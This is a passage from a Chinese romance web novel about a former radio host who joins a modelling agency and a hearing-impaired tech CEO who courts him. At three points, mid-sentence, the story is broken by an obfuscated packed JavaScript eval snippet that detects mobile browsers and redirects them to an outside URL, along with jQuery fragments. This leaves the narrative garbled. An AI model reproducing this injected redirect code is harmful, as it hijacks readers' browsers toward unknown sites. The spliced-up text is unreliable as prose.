《情天娃娃气象电台》 3. 3 - 宾利驶离荷园。 高达瞥一眼后视镜,十分意外。刚才魏英喆还蹙眉沉脸,就他去取车这一会儿的功夫,表情竟然松缓了,只不过低着头不知道在想什么。 “魏总。”高达把着方向盘,“我们现在开车回香榧华府?” 香榧华府是市中心的高档小区,大平层落地窗,能俯瞰商业区全貌,寸土寸金的地段,周围全是大型商场和写字楼。 车开出去没多久,魏英喆双手相握放在腿上,指腹反复摩挲腕上的表,忽然对着空气开口:“偏厅摆了三桌,六十多号人,他唯独不记得我。” “唯独不记得我。” 一句话还要说两遍,起到一个强调的作用。 高达吓了一跳,差点一脚急刹车:“...什么?谁?” 魏英喆听不见,干脆懒得互动,自顾自道:“还和那个叫祝其文的聊得忘乎所以。” 这句话重音放在祝其文三个字上。 高达冷汗从额头上下来了:“您说的是尹先生吗?” 魏英喆自圆其说:“也对,桌上都是他的亲戚,我跟他非亲非故,不记得我也正常。况且我是没有祝其文那么年轻。” 魏英喆:“他们还是同行。” 这回说完意义不明地冷呵了声。 高达咽了咽嗓子,松了口气又提起一口气:“原来是尹先生啊。听荷园管家说他最近在找模特公司。如果想往时尚圈发展,多结交一些相关从业者是比较好。老太太大概在给他铺路吧?” 高达开解了一大堆,电子屏陆续蹦出来汉字。魏英喆掀眼皮扫一眼,低头拿出石头,放手里盘。 伴君如伴虎,顶级职场牛马最懂如何接住上司抛出的橄榄枝,更不要说高达这种老油条。他心领神会:“魏总,这块石头是?” 魏英喆顿了顿:“他送我的。” “说是养了很久,两年吧。” 商人哄抬物价的本领一向高级,管他两个月还是两年,高达丝滑地感叹,“那这礼物很贵重,真是有心了。尹先生不仅声音好听,为人还风度翩翩、慷慨大方。听说之前电台也办得特别好,这样优秀细心、处事周到的人走到哪里都会成功的!” “你说得对。”魏英喆严肃地肯定道。 高达还在振振有词地夸,魏英喆翻开手机,界面停留在备忘录,上面全是尹昭情写的繁体字。不知道为什么,他脑子里忽然清晰地浮现出饭桌上那幅面若桃花的笑颜,对方说话时距离自己仅半截手臂的距离,呼吸都会喷洒在颈肩。 他年少失聪,听力受损,已经习惯了在任何公共场合保持沉默,第一次有人跟他认识不到一小时,就敢大胆说要给他同传。 大三时魏英喆自己创办了公司,魏域科技现在已经能和老魏氏分庭抗礼,财经新闻评价为旗鼓相当。而他作为CEO,时至今日也见过不少人,工于心计的、老实勤奋的、循规蹈矩的、声色犬马的。 唯独尹昭情给他的感觉最特别,也最难说出口。 因为他居然觉得尹昭情很性-感。 宾利在细雨里驶入市区,后座上的男人闭眼小憩,毫无预兆地哑道:“可惜了。” 高达朝后视镜望一眼,有些不解。 可惜? 从何说起? 作为魏域科技的肱股之臣兼十年特助,高达在等红绿灯的间隙里,忽然心脏一抽,如有神助地听懂了魏英喆的弦外之音。 电台主持人的好嗓音,他听不清,可惜了。 - 荷园。 尹昭情整理好自己的仪容仪表,找到琳姐,表情担忧,轻声问:“姥姥怎么样?” “降压药吃完就休息了。医生说没什么大事。”琳姐拍拍他肩膀,“今天你受委屈了小情。” “不委屈。”尹昭情摇了摇头,“我一时激动泼了舅舅一身,想来是有些大逆不道,改天再登门赔礼。” “谁说大逆不道?”琳姐忽然皱眉,认真教育他,“你来了荷园就是荷园的主人,这里跟老太太有直系亲属关系的只有你,他段恒蕴一个旁亲横什么?还管到你头上来了?” “小情你记好,我接下来跟你说的话就是老太太的意思。有人给你脸色你就骂回去,别怕老太太会责怪,她只会着急跺脚,说你骂得还不够狠,要更凶才行。” 尹昭情被逗笑了,笑的时候鼻子发酸,赶紧绕开琳姐:“那我去房间看看姥姥,我不打扰她,我轻轻的,陪一会儿就出来。” 老太太卧室一股温馨的青草香,尹昭情在里面待了半小时,出来后偏厅已经打扫干净,师姐白锦见他闲着,带他去试衣服。 西装裁剪合身,常服则国内外出名的牌子都有,衣帽间摆了一大框,老太太怕自己审美跟不上潮流,她喜欢的大花裤衩和大棉袄年轻人肯定不喜欢,所以特地拜托白锦代为挑选。 白天在荷园接受了富贵的洗礼,晚上尹昭情在回信息。 回完他差点被金融男吓晕。 投行小陈:嗨 投行小陈:我周末刚好有空,一起吃个饭怎么样? 情天娃娃:哪天?几点呢? 投行小陈:周六中午吧,我来接你 投行小陈:我看了你的朋友圈,照片好少啊 投行小陈:听说你是台省过来的,到这边还适应吗?如果有不懂的可以问我哦 情天娃娃:还可以,谢谢 投行小陈:小事,不用谢~ 投行小陈:今天跟你聊天,发现你说话真的好可爱 投行小陈:我目前月薪三万,已经和家里人出柜,经济独立父母支持,没前任没经验,如果你愿意和我试试,半年之内我可以买房,我自认为我的条件还是可以的。 尹昭情想说这太快了,先交个朋友。结果对面巴拉巴拉完,又发来一条。 投行小陈:对了,我能叫你主人吗 尹昭情:? ......? 等等。 不对。 此乃何意。? 现在是新社会,解放后没有奴隶了! 好在他曾与多位电台听众连线,听他们投稿的情感故事,故而身经百战见多识广,回神后以不变应万变,斟酌措辞:我不是圈里人,也没有这方面的癖好,不好意思。 主要尹昭情觉得他们撞号了。 对方安静好几分钟。 投行小陈:对不起对不起,我唐突了 投行小陈:那我们还吃饭吗 尹昭情委婉回绝。 这位金融男人前光鲜亮丽,对长辈也是恭敬有加,倒也不至于穷追不舍,试探失败后迅速离场。秉持着尊重各人喜好的原则,尹昭情默默将他消息免打扰,放任聊天框被其他群聊刷下去。 答应姥姥在荷园陪她三天,此日尹昭情起来吃早饭,师姐师妹们已经在院子里唱曲,他用清水洗了把脸,白锦走过来,靠在门边朝他笑:“情仔,休息得好吗?” “谢谢师姐,挺好的。” “你今天要去风尚面试,紧张吗?” “有点。”尹昭情如实相告。 “要不要我陪你去?”白锦直起身,“我问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307585|198722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过摄影师的朋友,她说风尚是目前国内最有影响力的模特公司,签的模特一个赛一个红,前景很好,但大部分都是女模。风尚上一次带出走过四大时装周的国际男模已经是六年前的事儿了,导致他们这两年男模签得少。能行吗情仔?” “能行。”尹昭情桃花眼一弯,“师姐放心,不用陪我,我现在状态很好。” “那祝你成功。”白锦和他击了个掌。 尹昭情两周前就收到了风尚的面试邀约,他当时是在网上给知名模特经纪人的邮箱投了简历。 里面包括身高体重等基本信息,一段正侧背面的视频,几张风格明显的模卡。 直播时经纪人批阅到了这封邮件,看完激动得手都在抖,立刻回复了他,让他赶紧入行。 毕竟模特这一行吃的是青春饭。 视频和真人多少有差距,能不能签约还得看casting,即现场试镜。 尹昭情大学时打过零工,做过寄拍模特,外形条件相当好,野心也很大,想走上国际。 风尚是他唯一的选择,他就是冲着这个来大陆的。 离出门还有一个多小时,苹果6虽内存不足又卡顿过时,但死亡铃声威力不减。此刻闹钟尚未响起,尹昭情坐在曲水回廊里看师姐师妹们练声。 他当主持人那会儿也每天起来念词,做气息控制,白锦她们的水磨腔更细腻圆润,唱起来一点京味都没了,落在耳边雨打檐铃一般,好听。 岂料还没听几分钟,快递员就开着车进来,停在曲水回廊边,一边卸货一边扯着嗓子:“尹昭情尹先生在吗?有你的快递!有你的快递!” 快递进来后大多被放在固定位置,由荷园里的师姐师妹自己去找,这回倒是不一样,尹昭情单手一撑,跳下来,“我在我在!” “是我的吗?我好像没买东西。”尹昭情疑惑。 快递员看了看信息,“手机号130开头对吧?尹昭情?尾号报一下。” “对。”他点头,“2801。” “好的。”确认没问题后,快递小哥把包裹递给他,“寄件人叫魏英喆。同城专送,备注一定要送到本人手里。确认一下。然后在这边签个字。” 什么?!?! 尹昭情目瞪口呆地接住快递盒,怀疑自己听错:“谁?魏英喆?” “对。是你的吧?” “...是。在哪签字?”尹昭情拿起笔,愣愣地划几下,“我签好了。谢谢您。” “不客气哈。”小哥来去如风,上车走人。 快递小哥嗓门大,几嗓子吼得冰岛都听得见。 等人走后,曲水回廊马上响起笑声,师姐妹们捂嘴:“情仔,怎么回事?” “给你寄东西的是谁?我没听错吧!魏家小叔?!那位京圈佛子吗?” “是那个高冷,不近人情,断情绝爱,常年出入寺庙,喜戴佛珠的魏总吗?” 喂,这都什么形容词! 更甚,还有人唱:“径曲梦回人杳,闺深佩冷魂销。似雾濛花,如云漏月,一点幽情动早!” 知道大家故意逗他,尹昭情憋不住笑,挥挥手:“姐姐们饶了我!快训练吧!” 白锦呵斥后,嬉笑散了些,大家回归基本功练习。 尹昭情用小刀拆开快递,原本还一头雾水,等他将快递里的东西取出来,却彻底怔住了。 里面是一台同款的折叠屏手机。 盒子下方压一张纸条,写着龙飞凤舞的两个字。 “回礼。” ———— —— 4.4 - 简单对照说明书测试功能,尹昭情给新手机充好电,插了电话卡。 机身颜色是寰宇红,他下载好几个常用的软件后,新奇地握着,在掌心来回翻拨,屏幕折叠真和广告上说的那样,毫无痕迹。 养石头是尹昭情从小就有的个人爱好,美名其曰养,其实只需要放在那就行。石头不是活物,不会叫,不会拆家,不需要投喂不需要洗澡,给它丢在花盆里过几天就缠了一身的草。 送给魏英喆那块是尹昭情路边随手捡的,长得有棱有角,很合尹昭情的眼缘,顺手带回家凑成“昭”。 客观换算下来,他用一块石头换了台上万的手机。 这份回礼有点出乎他意料。 再仔细一看纸条上的字迹,笔锋劲道,行云流水,哪里是魏英喆口中的“字不好看”,对方过谦了。 尹昭情掂了掂手机,垂眸时浓密睫毛遮挡住眼睛,唇角一勾。 他在饭桌上套近乎是真,故意送石头给人留下特别的印象是真,不把话说满的撩拨是真,性取向为男也是真。 八面玲珑里动机不纯,七分设计,三分兴致。 况且宴席那一遭,段恒蕴和魏域科技的梁子是结下了。 魏总难道看不出来? 如果看出来了,那埋了什么坑等着自己跳? 石头充其量摆在家里当个吉祥物,手机实用性高,价值还不低。二十一世纪,人没了石头可以活,没了手机可不行。 而按常理来说,他收到了这样贵重的东西,于情于理总要主动跟魏英喆表达一下感谢。 要道谢就得联系。 要联系就得先找熟人推个微信。 尹昭情指腹在屏幕上戳了戳,心说有点意思。 一切都显得顺理成章。 但他要是偏不呢? - 风尚,open call,公司开放日。 面试需要准备身份证,要求候选人保持素颜,不做妆造。 尹昭情到公司后先填了表格,被现场工作人员引到了摄影棚外就坐,排队等叫号。 他观察着,周围全是白T牛仔裤的男模,各有姿色,而且都好高。 旁边坐着的男生跟他打招呼,“你好啊,你也来面试吗?” “我叫沈欧包,认识一下呗。” “你好。”尹昭情跟男生握手。 “你长得好漂亮。”沈欧包呆呆盯着他的脸,“我感觉你肯定能过,风尚这两年最缺的就是你这样的类型。” “我什么类型?”尹昭情破觉好笑。 “就是...能走大秀的超模类型。”沈欧包小声,“今天面试的经纪人有六个,每个都是老资历,眼光独到。基本上她们说你能挣钱,你就不可能没工作。” 模特这一行吃青春饭,还吃出厂设置。外形条件只是其次,不管哪种模特都最看重脸蛋。 沈欧包看他的眼神充满了欣赏,兴奋提议:“要是我今天没面上,说不定你就是我在模特圈唯一的人脉,咱们加个好友怎么样?” “好。”尹昭情拿出二维码给他扫。 验证消息:[我是“22岁曼妙继父”,老大请开门] 尹昭情:“...这个微信名是什么意思?” “哦。我有三个儿子。都是从救助站领养的。”沈欧包调出相册的照片,“看,一只狸花一只加菲一条大金毛。” 尹昭情手误点进对方朋友圈,置顶一张属性卡,写着cn欧包,单推什么什么什么,雷点什么什么什么。 “...”二次元! 至此,沈欧包每次开口说话,尹昭情都感觉自己耳边响起一阵劲爆的吉他音。 前面队伍还有好些人,尹昭情和沈欧包在聊着天,走廊里忽然响起道女高音,来人步履生风,鼻梁上架着一副眼镜,高马尾,穿着干练的风衣:“怎么都懒懒散散地坐着?台步练习了吗?!自我介绍准备了吗?!还有你!” 她揪住一个男生,“面试要求素颜,谁让你涂粉底液了?以为选了个和肤色相似的色号别人就看不出来吗?!” “去洗手间给我洗干净!” 尹昭情闻到一股酒气,他和欧包咬耳朵:“请问这是谁?上班还可以喝酒的吗?” “瑞贝卡啊。”欧包紧张道,“卡姐。你不知道吗?她是风尚老板的亲姐,业内超级有名的经纪人。风尚之前带出的那个国际男模就是她的艺人。可惜后来去世了。听说是抑郁跳楼,从那以后卡姐就不带男模了,只在公司负责商务对接。” “本来男模市场就很小,亚洲男模在国际时尚圈比例更低,毕竟时尚产业中心在欧洲,审美标准长期由欧美主导。卡姐不带人也在情理之中,你看这些年哪家公司成功推出过能走上国际的男模?资源难抢,话语权难夺,都是些吃力不讨好的事情。” 尹昭情默默瞧着瑞贝卡的背影,对方看都没往他们这看一眼,推开摄影棚的门进去。 半小时后。 尹昭情起身,助手先带他去摄影棚角落的更衣间,让他换上黑色无袖背心。 摄影师站在摄像机后给他打手势,“往中间站一点,好,三,二,一——” 每个面试的模特都要拍摄digitals,行话意思是最原始,最真实,没有修饰和滤镜的模特照片。投简历时大家会偷偷美颜或p图,不如场照来得真实。 拍摄完,尹昭情走到摄影棚中央,灯光霎时间照亮他的脸。 一张长桌侧坐了六个人,桌上摆满简历和评估表,还有两台电脑。 瑞贝卡双腿交叠,坐在角落沙发上喝着咖啡,自始至终没抬头。 “尹昭情?”经纪人看着电脑,低头确认简历。 “对。” “之前做过模特吗?” “正儿八经的没有。” “那现在做什么工作?家里支不支持?能不能长期待在京市?” 尹昭情都一一回答。 电脑上是刚刚拍摄的照片,正面头像、侧脸、全身正面、全身侧面,六个人都看了一遍,手里资料翻得哗哗响。 专业经纪人或星探只需要一眼就能看出候选人适不适合做模特,签约后有没有工作,赚不赚钱。 而且模特长得好看并不代表一定符合大众意义的帅或美,有时候外行觉得某个模特不好看,星探却一见钟情视若珍宝,品牌也趋之若鹜邀约频频。 五官要有所谓的“高级感”,辨识度也极为重要。 “能把刘海再掀上去看看吗?”有人问。 “没问题。”尹昭情抬手撩起。 “...很帅啊。简直三百六十度无死角的帅啊?!” “我去,这小孩怎么可能24岁才决定入行?他要一直长这样,星探早发现了,去当明星都没问题啊?!按理说18岁就该签约了啊?!这各大公司不得疯抢吗??” “你认真看看资料好不好,人家是台省过来的。之前都不在大陆,星探发现个鬼啊!” “哦那就没事了。” 一群人大声探讨,尹昭情保持微笑。 “简单走一段台步。会走吗?”经纪人问。 “会。”尹昭情点头,“从哪开始?” “就那边的站位胶带吧。” “好。” - “魏总,那我们今天会议就到这里?”风尚的助理请示。 魏英喆站起身,表情平静,高达整理好会议记录,朝对方助理鞠躬,“辛苦各位了。” 风尚是时尚界业内标杆,近几年广告投放的合作都找的魏域。魏域科技是通信科技公司,最早做的通信基础设施,后来扩大产业,发展了视觉科技、广告算法、企业网络系统等,当然他们最为人所熟知的业务是电子产品研发这一块,手机平板智能手表都有。 风尚的萧总萧确跟魏英喆算多年同学加老损友,抬手送他出了办公室,“晚上要不要出去喝一杯?我在鎏金年华有会员,你去了报名字就行,今晚有假面舞会。” “不了。”魏英喆回绝。 “呵呵,怪不得你寡。”萧确道。 “你说什么?”魏英喆眯起眼睛。 “哎哟还不高兴了。”萧确啧了声,“三十好几的人了也不知道成个家,先成家再立业的道理你懂不懂?” “三十一。”魏英喆冷然。 “三十一明年就是三十二,三十二过几年就三十五,三十五四舍五入就是四十。天爷,别到时候你侄子谈上了你还没谈上!” 魏英喆拨正助听器,冷笑,“能不能闭嘴?在家吵不过你老婆在公司吵不过你姐,在这跟我扯什么?我听不见。” 萧确被戳中脊梁骨,由于旁边还有下属在,他气急败坏要挽回颜面,结果魏英喆一句“再吵撤资”,他蔫了。 一行人路过一楼走廊。 面试的摄影棚后方是个单向玻璃,玻璃后方就是风尚内部,没员工卡进不来。 魏英喆脚步忽然停住。 “干什么?”萧确顺着他视线看一眼,“哦,今天open call,有不少新人来面试。” 魏英喆没回话,他走到玻璃边,静静地看了几秒,忽然侧头给了高达一个眼神。 高达马上回过身,伸手邀请:“萧总不是说赶着回家吃饭?我送您出去吧。” “他呢?”萧确疑惑。 “魏总一会儿上个洗手间。” “行。”萧确是个靠爹妈起家的富二代,没什么脑子地被高达推走了,上了自家司机的车。 车开出去半里路他才回味过来,“不对,那特么是我的公司吧?!” 他凭什么被魏英喆赶走了?! 高达送走人,高明地发了信息给上司,说他去开车,让魏英喆出来了直接去停车场就行,因此没再折返。 魏英喆站在玻璃后,黑沉眼眸一动不动望着摄影棚里的人。 – 尹昭情正在走台步。 但他总觉得有道视线从高处打过来,随意望了一圈又没发现可疑之处,干脆认真挺直后背。 “再绕一圈。”经纪人提笔填表格,抬手示意。 尹昭情又走了一圈。 面试室这会儿很安静,灯光冷白,地面留出狭长的空地。 他皮肤白,肩线笔直利落,长腿在灯光里一截一截延伸,节奏把控得刚刚好,姿态随意但游刃有余,目光直直落在前方,经纪人按下快门,闪光灯晃了两下,尹昭情居然也没有眨眼。 天生的镜头感。 长桌六人露出惊喜的神色。 有人问:“你为什么想做模特?” 尹昭情站在那,想了想,回答:“因为想赚钱。” 桌上一群人笑起来,“很质朴的回答,不过比起什么梦想来说要实在很多。的确,模特就是挣钱。如果不能挣钱不如不要入行,白白浪费青春。这个职业高薪但筛脸,不是谁都能做的。” 沙发上,瑞贝卡突然放下咖啡杯,朝尹昭情看过来。 她细致地审视尹昭情的脸,没说话。 莫名,尹昭情后背被针扎般,手臂一紧。 桌上经纪人们在紧锣密鼓地讨论。 “必须签啊,这有什么好犹豫的。这脸就是名模。” “但是身高差了一点。你看他信息。这个身高做平面模特没问题,但如果走秀...” 尹昭情,男,身高183,体重71kg。 “看你的简介说你想做时装模特,想走秀?” 尹昭情说是。 “那你跟我吧。”有人说,“先接平面广告,我会帮你多联系下海外casting,带你过去试秀。” “喂喂你少来啊,你都没接触过海外商务,能什么?昭情,你不如来我这,我手上刚好有两个女模走过巴黎时装周。” 一桌人差点吵起来,尹昭情挠挠脸:“不是说身高不太够吗?” 沙发椅子突然发出刺耳的划拉声,瑞贝卡站起来的瞬间,摄影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我要求你一个月之内把体重降到65kg,能不能做到?” “能。” “那你看我怎么样?”瑞贝卡扬唇。 “谢谢卡姐,请多指教。”尹昭情利落鞠躬。 “这小孩儿我留下了。”瑞贝卡端起咖啡,打着哈欠走出摄影棚,“辛苦各位带他签合同。” 整个摄影棚没人敢吭一声。当年令整个模特圈闻风丧胆望尘莫及的瑞贝卡居然重出江湖了,为了一个24岁的新人。 尹昭情走出风尚时差点一蹦三尺高。 开心是真,但也没忘记确认。他搜了搜瑞贝卡,百度百科有资料的大人物,有资历,有资源,有手段。 这说明什么? 说明小乖前途有够光明! 春寒料峭,尹昭情掏出折叠屏手机,嘴角带笑,站在路边准备打车。 一辆黑色宾利忽然停在他面前。 车窗降下。 尹昭情愣神:“小叔?” “去哪里?”魏英喆坐在后座,问。 “我要回荷园。”尹昭情回头看看风尚的大楼,又低头看向车内的人,“小叔你怎么在这里?” “先上车。”魏英喆说。 尹昭情只好拉开车门,坐上去。 “小叔你要送我吗?你住哪里?会不会不顺路?” “不顺路也送的。”魏英喆说。 尹昭情咂舌,手指藏在衣袖下来回摁压指甲盖。 这次魏英喆和自己对话明显流畅了许多,他一侧头,果然看到对方耳朵上别着助听器。 不懂为什么,一坐上这车,尹昭情就格外心虚。 他清了清嗓子,乖巧,“小叔,我收到你给我送的手机了,谢谢你。你人真好。” 主动道谢,这事儿就算翻篇。 他倒是想看看魏英喆怎么说,也想验证验证自己的猜测准不准。 谁知魏英喆根本没接他话茬,反问:“老太太身体怎么样?” 尹昭情摇头,“姥姥没事,医生给她看过了。今天早上我出门姥姥还生龙活虎,教我怎么泡茶。” “学会了?” “那倒没有。可复杂可讲究呢。”尹昭情说,“不过再多几天我就能掌握了。” “嗯,很厉害。” 尹昭情眨眨眼,不敢动弹。 高达目不斜视地开着车,没人说话,显得氛围越来越凝固。 反正敌不动我不动,尹昭情双手插兜坐好,纯良优雅地看向窗外。 “你送给我的石头,我放在家里摆好了。”魏英喆忽然道。 “嗯?”尹昭情笑,“小叔你喜欢就好。摆在哪里?” “拍了张照。发给你看。”魏英喆说,“有微信么?” ...等等。 什么?!?! 尹昭情心跳陡然加快,僵了一瞬才掏出手机。 最简单粗暴的商战就是直接浇死对方的发财树,尹昭情领教了一番什么是出其不意,而后建设了一下心理,等待好友申请的验证信息。 不知是不是别人添油加醋给魏英喆贴了许多标签的缘故,尹昭情很怕在验证信息看到“一米阳光”,“上善若水”,“宁静致远”,“心宽体健”等具有年代感的网名。 好在他粗略瞄了眼,不是四字。 然而再细看一眼时,咬死了嘴唇才憋住笑。 对方的微信名叫老鹰。 关键在于,尹昭情是台南长大的。 台南盛产谐音梗。 所以尹昭情瞬间读懂了这个名字的含义。 老英。 拜托...! ———— —— 5.5 - 尹昭情道:“小叔,你的网名看上去很霸道,很雄伟,还很成熟。” 其实就是在九曲十八弯地揶揄。 魏英喆:“你不喜欢?” 尹昭情笑着点了通过,细眉长睫一弯:“难道我说不喜欢,小叔你就会改吗?” 魏英喆顿了顿。 助听器的作用是将声音放大,让耳朵能接收到原本听不到的音量或频率范围。但再精密的器械也只是器械,它无法做到完全恢复佩戴者的自然听力,人声在经过放大和压缩后,总会出现一些细微的失真。 所以尹昭情说话时,荡漾的、柔软的尾音就带着不易察觉的变化。 缥缈,浑濛,像被薄纱摩擦过,若即若离、似真似假。 与嗓音不同,尹昭情的行事作风则偶尔带一些进攻性,心情好时如沐春风,生气时一杯饮料就泼过去。 明亮直白,棱角分明。 他真实的声音应该更干净、更轻快一些,尾音也许会像瀑布般爽利地落下,或者像雨水般清凉地洒来,而不是此刻魏英喆听到的一般,隔着雾气。 但魏英喆还是听得很认真。 因为即使如此,这声音也已经很好听了。 “我可以改。”魏英喆说。 尹昭情一惊,“什么?” 开车的高达适时笑起来,插话:“魏总这个名字用了好几年,一直没动过,也是时候改改了,听说换ID就是换大运。” “你是主持人,文化水平高,懂的一定比我多。”魏英喆将手机递给尹昭情,“劳烦帮我想一个。” 对方倾身靠近,温热呼吸洒落尹昭情耳畔。 但尹昭情已经来不及想那么多,接过这烫手山芋后足足僵死了三分钟,脑中才流星一闪。 “要不就叫双吉堡吧。”尹昭情规规矩矩双手奉还手机,“小叔你写,我简体字还不熟练。” “只是食物?”魏英喆问。 “不是,是喆。” “...” 魏英喆似是十分满意这个点子,严肃手写,将微信名改成了“老鹰双吉堡”。 直接对标老兵烧烤。 高达开车平稳,笑着搭话:“尹先生今天是在风尚面试吧?面试结果怎么样?” “已经签了合同。”尹昭情回答,“但是要减重。” “还要减重?”高达对时尚圈一窍不通,诧异,“您的外形条件明明这么好。” 魏英喆皱眉:“你已经很瘦了。身上都没有肉。” 尹昭情摇头,“经纪人姐姐经验丰富,要求严格,她说不行,我肯定就还不够格,一个月之内要瘦十斤呢。” 高达唏嘘,魏英喆沉默半晌,还是那句话:“...你已经很瘦了。” 尹昭情听见他一个人在那嘀嘀咕咕,不由得偏头看去,竟然从魏英喆脸上看出了一丝...不忍?或者...心疼? 但这大概是他做多了阅读理解,揣测过度。 尹昭情兜里手机震动两声。 老鹰双吉堡:[图片] 图上似乎是间书房,桌上有绿植,文件托盘,三屏电脑,几根银色钢笔,绿植旁放着石头“小刀”。 看得出书房主人颇有闲情雅致,桌旁一套完整的茶具,紫砂壶龙井罐,后方是一整面书柜,角落摆着水晶杯和威士忌。 小刀躺在精致老钱风的室内装潢里,被养得很好。 老鹰双吉堡:[推荐了一个好友] 老鹰双吉堡:[个人名片] “这是谁?”尹昭情疑惑。 “私人运动营养师。”魏英喆说,“之前服务过职业运动员和明星,是我给老爷子聘的营养顾问。” “如果你同意的话,稍后我会让她加你,她会给你定制食谱和训练日程。” “好厉害。”尹昭情膜拜地点进名片,看了看对方的资料,“要多少钱?” “她赚够钱就收山了,目前在海外旅居。”魏英喆说,“现在高昂的酬薪请不动她,只有人情可以。” 尹昭情慢慢笑了,闻弦歌而知雅意,“原来如此。那这个人情算是我欠她的,还是欠小叔你的?” 魏英喆一时无话。 车内暗流涌动,气氛说不清道不明,驾驶座上的高达急得团团转,一连看了两次后视镜,就差夺舍帮答,好在魏英喆终于回过神:“算我欠她的。你好好吃饭,合理控制,不要生病。” “如果病了,钟老太太会着急。” 尹昭情却没接茬,胆大包天地转折:“小叔你单身吗?” “......” “单身。我之前一个人习惯了。”魏英喆调整了一下坐姿,补充,“一直单身。” 尹昭情故意:“我也单身。姥姥想让我谈个朋友呢,但是最近我见了好些人,感觉都不太合眼缘。小叔你人脉这么广,又认识风尚老板又可以请动知名营养师,可以麻烦你也帮我物色几个合适的对象吗?” “你怎么知道我认识风尚老板?”魏英喆问。 “你怎么知道我身上没什么肉?”尹昭情答。 单向玻璃外的注视被点破,双方各自扬起眉,一切尽在不言中。 “你确定要我帮你物色?” “如果小叔愿意的话。”尹昭情莞尔。 - 车没开入荷园,只停在几十米开外的路口。 高达下车,将车门拉开:“尹先生,魏总下午还有个跨国会议要开,比较赶时间,就不登门拜访老太太了。” 尹昭情走下来,见高达打开后备箱,里面放了高尔夫球包、鱼竿和两袋礼品。 “这个劳烦你带给老太太,是魏总的一点心意。”高达把东西给他,笑着说,“不沉的,也不算很贵重,务必收下。” “上次不是送过了吗?”尹昭情记得白锦和琳姐整理偏厅那一大堆贺礼时,里面就有魏英喆的。 “当时代表的是魏家,今天是个人。”高达说。 尹昭情毕竟初来乍到,不懂这两者有什么区别,豪门世家的门道谁说得清。他只好点点头,接过。 拎着礼盒,尹昭情忽然意识到不对劲。 后备箱放着高尔夫球包和鱼竿尚且能说是常备常用,礼品总不能一直放着以便临时相送吧? 尹昭情瞪大眼,压低声音:“高伯伯,这礼品什么时候买的?” 高达笑而不语,只做了个手势,请尹昭情入园。 靠北! 尹昭情看懂高达的笑意了。 今天根本就不是偶遇。这老狐狸送完手机却没收到自己的好友申请,难道还因此特地跑去风尚一趟?! 果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318705|198722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能当上总裁的人心思就不可能简单。 尹昭情心道下次绝对将回他一军,气呼呼地拎起两袋东西,往荷园走。 走出一段路,他却不知怎么的放慢了脚步。 像是有什么东西在背后轻轻勾了他一下。 尹昭情回头。 庞大冷峻的SUV还停在原地,魏英喆靠在车门处,手里拿着正在通话的手机,高达站在一侧边听边打手语,将电话里内容一句句转达。 魏英喆正远远望着他。 过了会儿,他微微朝着尹昭情点头,仿佛在说——进去吧。 尹昭情收回目光,拐入月洞门。 曲径通幽,午后阳光从树叶间斑驳落下,荷园里恰有人在唱开场词。 [白日消磨肠断句,世间只有情难诉。] [玉茗堂前朝复暮,红烛迎人,俊得江山助。] [但是相思莫辜负,牡丹亭上三生路。] 曲水回廊还有好些人在排练,尹昭情走到客厅,把两袋礼品交给白锦,说是魏家小叔送给姥姥的。 白锦忽地凑近,细看他:“情仔,你耳朵怎么这么红?” “上火了。”尹昭情躲开她,红杏挂在耳垂,试图转移话题,“我今天面试很成功哦师姐,快恭喜我。” “恭喜恭喜,我就知道你能轻松拿捏。”白锦却追过来,“所以今天有什么艳遇?跟师姐聊聊。你放心我绝对守口如瓶,而且男人我只喜欢纸的。” 尹昭情否认:“没有艳遇。” 白锦看破:“我不相信。你快说!” 奈何白锦穷追不舍,硬生生把尹昭情的腔调逼了出来:“欸师姐,你很烦内,都说了是上火!” 白锦笑得眼泪都要出来:“好吧我很烦内,但是你好可爱喔情仔。” “...”尹昭情躲进卧室,一头撞在床上,将脸埋进床垫。 营养师很快联系了尹昭情,详细询问职业需求、过敏原和基本的身高体重后,她给了一个pdf文件,让尹昭情照着里面的食谱吃,顺便还给尹昭情推了个健身房的会员小程序,让他注册预约。 训练计划着重塑形,而非增肌。 故而核心训练极其重要,身体线条能让走秀姿态看上去更挺拔。 尹昭情将营养师发给他的食谱也转给琳姐一份,琳姐管理荷园大小事宜,马上交代厨师们要每天单独做营养餐给尹昭情。 出于好奇,尹昭情问姥姥,那两袋礼品里是什么。 钟老太太笑得开心:“绣扇,线香,还有武夷岩茶。英喆真是有心了。我也不过是评了个非遗传承人而已。” 尹昭情失语,随手一搜那款岩茶就是天价,顿时被冲击得晕头转向。 荷园的夜晚安静下来,尹昭情洗完澡,脖颈上的水珠还没干,他边擦拭着头发边从浴室出来。 桌上那台折叠屏手机屏幕亮起,尹昭情走过去解锁,查看信息。 老鹰双吉堡:[图片] 老鹰双吉堡:昭情 老鹰双吉堡:你的钥匙落在我车上 尹昭情轻抿了口温水,神色平静,毫不意外地看着那张照片。 钥匙?当然丢了。 